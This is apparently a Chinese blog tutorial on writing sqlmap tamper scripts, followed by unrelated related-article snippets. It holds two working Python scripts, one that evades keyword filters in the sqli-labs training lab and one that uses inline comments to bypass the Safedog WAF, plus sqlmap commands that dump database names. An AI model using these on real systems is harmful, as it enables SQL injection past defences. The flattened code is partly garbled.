sqlmap tamper脚本编写

文章目录

  • tamper脚本是什么?
  • 指定tamper脚本运行sqlmap
  • 安全狗绕过tamper脚本

tamper脚本是什么?

SQLMap 是一款SQL注入神器,可以通过tamper 对注入payload 进行编码和变形,以达到绕过某些限制的目的。但是有些时候,SQLMap 自带的Tamper 脚本并不是特别好用,需要根据实际情况定制Tamper 脚本。

sqlmap的编写语言也是python,tamper脚本能增强sqlmap的功能,达到绕过检测的目的。

指定tamper脚本运行sqlmap

在kali中用下面命令查找sqlmap所在的目录:

find / -name sqlmap

如图,查找成功:

在这里插入图片描述

下面是一个简单的tamper脚本,它将关键字#、and、or和空格都做了替换(and、or双写大小写绕过),加上(?i)忽略大小写(以sqli-labs第26关为例,经过测试这关会过滤空格and、or和空格,需要做双写和大小写绕过):

import refrom lib.core.enums import PRIORITY__priority__ = PRIORITY.HIGHESTdef dependencies():passdef tamper(payload, **kwargs):"""<space>             %a0and                 anANDd--+                  and '1or                  oORr"""payload = re.sub(r"(?i)#"," and '1",payload)payload = re.sub(r"(?i)and","anANDd",payload)payload = re.sub(r"(?i)or","oORr",payload)payload = re.sub(r"(?i)\ ","%a0",payload)return payload

将这段代码放入一个sqli-labs_26.py中,并将文件放到sqlmap所在的目录:
在这里插入图片描述

运行xampp,打开sqli-labs_26复制路径:

在这里插入图片描述

然后在kali中输入下面命令,运行sqlmap:

-tamper指定运行的tamper脚本

–current-db列出当前数据库

-u指定url

-v 指定sqlmap的回显等级

–dbs 列出所有的数据库

python3 sqlmap -u http://10.9.75.164/sqli-labs/Less-26/?id=2 -v3 -tamper sqli-labs_26.py --current-db

如下图,获取到数据库的名称为security,类型为联合查询:

在这里插入图片描述

安全狗绕过tamper脚本

绕过安全狗

1.脏数据

2.大小写转换

3.双写

4.内联注释

安装安全狗,以sqli-labs第1关为例,绕过安全狗应该从上面4个方面考虑,经过测试,只有第四个方法可行,下面是一个内联注释的脚本:

import refrom lib.core.enums import PRIORITY__priority__ = PRIORITY.HIGHESTdef dependencies(): passdef tamper(payload, **kwargs): payload = re.sub(r"(?i)and", "/*!14400and*/", payload)payload = re.sub(r"(?i)order by", "/**/order/*/%0a*a*/by/**/", payload)payload = re.sub(r"(?i)union select", "union/*!88888cas*//*/%0a*a*/select/**/", payload) payload = re.sub(r"(?i)union all select", "union/*!88888cas*//*/%0a*a*/select/**/", payload)payload = re.sub(r"(?i)from information_schema.schemata", "/*!from--%0f/*%0ainformation_schema.schemata*/", payload)payload = re.sub(r"(?i)from information_schema.tables", "/*!from--%0f/*%0ainformation_schema.tables*/", payload)payload = re.sub(r"(?i)from information_schema.columns", "/*!from--%0f/*%0ainformation_schema.columns*/", payload)payload = re.sub(r"(?i)database\(\)", "database(/*!/*/**%0fAJEST*/*/)", payload)#payload = re.sub(r"(?i)count\(*\)","count(1)",payload)payload = re.sub(r"(?i) as","/*!14400as*/",payload)payload = re.sub(r"(?i)char","/*!14400char*/",payload)return payload

和之前获取数据库名称一样,将该脚本文件放到sqlmap所在目录下:

在这里插入图片描述

然后用下面命令运行sqlmap,获取数据库名称:

python3 sqlmap -u http://10.9.75.116/sqli-labs/Less-1/?id=1 -v3 --tamper safedog.py --random-agent --dbs

如图,用该脚本文件做tamper绕过安全狗(绕waf)成功,获得数据库名称:

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/143181.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

Qt创建线程(使用moveToThread方法创建子线程)

1.moveTothread方法: &#xff08;1&#xff09;要使用moveToThread方法必须继承与QObject类 &#xff08;2&#xff09;创建任务对象时不能指定父对象 例子&#xff1a; MyWork* work new MyWork(this); // error MyWork* work new MyWork; // ok &#xff08;3&#…

InputAction的使用

感觉Unity中InputAction的使用&#xff0c;步步都是坑。 需求点介绍 当用户长按0.5s 键盘X或者VR left controller primaryButton (即X键)时&#xff0c;显示下一个图片。 步骤总览 创建InputAction资产将该InputAction资产绑定到某个GameObject上在对应的script中&#xf…

[Linux]多线程编程

[Linux]多线程编程 文章目录 [Linux]多线程编程pthread_create函数pthread_join函数pthread_exit函数pthread_cancel函数pthread_self函数pthread_detach函数理解线程库和线程id Linux操作系统下&#xff0c;并没有真正意义上的线程&#xff0c;而是由进程中的轻量级进程&#…

9、SpringBoot_日志使用

三、日志 1.日志的使用 使用 RestController public class LogController {public static final Logger log LoggerFactory.getLogger(LogController.class);GetMapping("/index")public String index(){log.info("请求info 信息");log.debug("请…

Django的设计模式及模板层

Django的设计模式及模板层 设计模式MVC和MVT MVC 代表 Model-View-Controller(模型-视图-控制器)模式。 M 模型层(Model),主要用于对数据库层的封装 V 视图层(View),用于向用户展示结果 (WHAT HOW) C 控制(Controller&#xff0c;用于处理请求、获取数据、返回结果(重要) 作…

JetBrains常用插件

Codota AI Autocomplete Java and JavaScript&#xff1a;自动补全插件 Background Image plus&#xff1a;背景图片设置 rainbow brackets&#xff1a;彩虹括号&#xff0c;便于识别 CodeGlance2&#xff1a; 类似于 Sublime 中的代码缩略图&#xff08;代码小地图&#xff…

抽象轻松java

嗨嗨嗨&#xff01; 没想到吧&#xff0c;出现了抽象轻松第4种语言系列&#xff08;我也没想到&#xff09; 简单的java程序&#xff0c;看完就懂的简单逻辑——购物车系统 购物车&#xff0c;首先要有商品吧&#xff0c;现实中的商品有什么属性&#xff1f; 名字&#xff0…

Oracle 12c自动化管理特性的新进展:自动备份、自动恢复和自动维护功能的优势|oracle 12c相对oralce 11g的新特性(3)

一、前言: 前面几期讲解了oracle 12c多租户的使用、In-Memory列存储来提高查询性能以及数据库的克隆、全局数据字典和共享数据库资源的使用 今天我们讲讲oracle 12c的另外的一个自动化管理功能新特性:自动备份、自动恢复、自动维护的功能 二、自动备份、自动恢复、自动维护…

IntelliJ IDEA 介绍、安装、配置优化与快捷键大全

一、简介 IDEA全称 IntelliJ IDEA&#xff0c;是Java编程语言的集成开发环境。IntelliJ在业界被公认为最好的Java开发工具&#xff0c;尤其在智能代码助手、代码自动提示、重构、JavaEE支持、各类版本工具(git、svn等)、JUnit、CVS整合、代码分析、 创新的GUI设计等方面的功能…

分布式并行训练(DP、DDP、DeepSpeed)

[pytorch distributed] 01 nn.DataParallel 数据并行初步 数据并行 vs. 模型并行 数据并行&#xff1a;模型拷贝&#xff08;per device&#xff09;&#xff0c;数据 split/chunk&#xff08;对batch切分&#xff09; 每个device上都拷贝一份完整模型&#xff0c;每个device分…

Mysql高级语句(视图表 、存储过程、条件语句、循环语句)

Mysql高级语句&#xff08;视图表 、存储过程、条件语句、循环语句&#xff09; 一、 CREATE VIEW&#xff08;视图&#xff09;1.1、 视图表概述1.2、 视图表能否修改&#xff1f;&#xff08;面试题&#xff09;1.3、 基本语法1.3.1、 创建1.3.2、 查看1.3.3 、删除 1.4、 通…

喜报 |海云安斩获鲲鹏应用创新大赛2023广东赛区双料大奖!

近日&#xff0c;由深圳市工业和信息化局、深圳市南山区人民政府、深圳市南山区工业和信息化局指导&#xff0c;华为技术有限公司、深圳市金融攻关基地、广东省信息技术应用创新产业联盟、鲲鹏产业源头创新中心&#xff08;深圳&#xff09;有限公司主办&#xff0c;深圳市软件…

MySQL查询表结构方法

MySQL查询数据库单个表结构代码 – 查询数据库表信息 SELECT​ COLUMN_NAME 列名,​ DATA_TYPE 字段类型,​ CHARACTER_MAXIMUM_LENGTH 长度,​ IS_NULLABLE 是否为空,​ IF(column_key PRI,Y,) 是否为主键,​ COLUMN_DEFAULT 默认值,​ COLUMN_COMMENT 备注FROM​ INFORMAT…

数据分发服务(DDS, Data Distribution Service)简介

什么是DDS &#xff1f; 工业物联网成熟的数据连接标准 OMG 数据分发服务 (DDS™) 是一个中间件协议和 API 标准&#xff0c;用于来自 Object Management Group (OMG) 的以数据为中心的连接。它将系统的组件集成在一起&#xff0c;提供业务和关键任务物联网 (IoT) 应用程序所…

华为杯数学建模比赛经验分享

再过一周左右,第二十届华为杯数学建模比赛就要开赛了&#xff0c;所以今天分享一下个人数学建模比赛的经验。 今天给大家分享一期关于华为杯数学建模比赛的经验分享&#xff0c;我将从以下三个方面展开说明&#xff1a; &#xff08;1&#xff09;如何准备数学建模比赛&#x…

开辟ICT新视野 直通华为云专家:一堂华为云Astro低代码启蒙课 ——华为云HCSD校园沙龙之西安站

在快速发展的信息时代&#xff0c;ICT&#xff08;即&#xff1a;信息和通信技术&#xff09;行业成为众多高校应届生进军的最新领域。但刚步入大学校园的学生&#xff0c;仍困扰于「我应该如何抓住这一趋势&#xff1f;怎样规划职业生涯才切实可行&#xff1f;」。 在飘溢激动…

vue+element plus 使用table组件,清空用户的选择项

<el-table ref"tableRef"> .... </el-table> <script lang"ts" setup> import { onMounted, reactive, ref, nextTick } from vue const clearBtn () > {console.log(清空用户的选择项)tableRef.value.clearSelection() } </scr…

八大排序详解

目录 1.排序的概念及应用 1.1 排序的概念 1.2 排序的应用 1.3 常见的排序算法 2.常见排序算法的实现 2.1 直接插入排序 2.1.1 基本思想 2.1.2 动图解析 2.1.3 排序步骤&#xff08;默认升序&#xff09; 2.1.4 代码实现 2.1.5 特性总结 2.2 希尔排序 2.2.1 基本思…

数据结构与算法基础-(3)

&#x1f308;write in front&#x1f308; &#x1f9f8;大家好&#xff0c;我是Aileen&#x1f9f8;.希望你看完之后&#xff0c;能对你有所帮助&#xff0c;不足请指正&#xff01;共同学习交流. &#x1f194;本文由Aileen_0v0&#x1f9f8; 原创 CSDN首发&#x1f412; 如…

Java 多线程基础

文章目录 1. 认识线程1.1 概念1.1.1 线程是什么1.1.2 为什么要有线程1.1.3 进程和线程的区别1.1.4 Java的线程和操作系统线程的关系 1.2 第一个多线程程序1.3 创建线程1.4 多线程的优势 2. Thread 类及其常用的方法2.1 Thread 的常见构造方法2.2 Thread 的几个常见属性2.3 启动…